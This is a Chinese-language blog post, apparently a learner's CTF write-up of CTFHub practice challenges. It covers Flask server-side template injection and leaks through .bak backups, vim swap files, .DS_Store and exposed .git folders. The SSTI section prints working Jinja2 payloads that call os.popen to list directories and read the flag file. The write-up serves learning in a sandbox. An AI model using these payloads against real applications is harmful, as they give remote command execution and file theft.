欢迎光临散文网 会员登陆 & 注册

ctf

2022-11-09 15:52 作者:温柔的烟火  | 我要投稿

Simple_SSTI_2


/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}  查看存在的文件


结果返回文件列表

?flag={{config.__class__.__init__.__globals__[os].popen(ls../app/).read()}}

看看每个文件下面的东西


可以看到flag文件这样

然后直接cat使用,的都flag

?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20 ../app/flag%27).read()}}

主要是这题不太了解flask,sstl这种东西

对于这个参数根本看不懂


__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

__init__ 初始化类,返回的类型是function

__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

os.popen() 方法用于从一个命令打开一个管道。

open() 方法用于打开一个文件,并返回文件对象




bak文件

什么是bak文件

.bak是备份文件,为文件格式扩展名,这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成,如proteus的备份文件为.DBK。



http://challenge-118cb0a2671a7c97.sandbox.ctfhub.com:10800/index.php.bak


获取到bak文件

打开bak文件

发现原来是被注释掉了

提交即可



vim缓存


当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。



vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data,那么swp文件名就是.data.swp。如果文件正常退出,则此文件自动删除。需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生swp文件的。

题解提示是swp文件,那么我是不知道的,所以查了查

(第一次产生文件的后缀名为.swp;再次意外退出产生文件的后缀名为.swo;第三次产生的后缀名为.swn)

获取.index.php.swp文件

然后vim -r 文件  即可恢复

就可以看到flag了





.DS_Store

.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。

提示:

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。


在linux中

安装curl

ubantu 使用apt-get 而不是yum


如果已经安装则跳过

然后对网站进行处理

curl http://challenge-6e8093b7bf869edf.sandbox.ctfhub.com:10800/.DS_Store


看到这个类似txt的东西

继续curl

已经可以看到flag

提交即可


关于curl 

直接在curl命令后加上网址,就可以看到网页源码





Log

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题

git clone GitHub - BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本

下载到本地

可以看到成功,我是windows用git下载的

但是需要python2的版本我还是换linux吧



就行克隆,成功

可能会遇到的问题,failed to connect

关掉git代理

就可以了安装

然后进入目录下进行处理网站


报错

麻了

但是我时间过去之后,重新打开题目,交了金币之后发现又可以了,额

成了

成了

然后到dist/chall............/目录下

 到这里

git log

git log 命令查看日志

看到确实又flag的出现

接着git show

git show


即可看到git提交的信息

终于!

补充:

.git 是什么呢?

意思


ctf的评论 (共 条)

分享到微博请遵守国家法律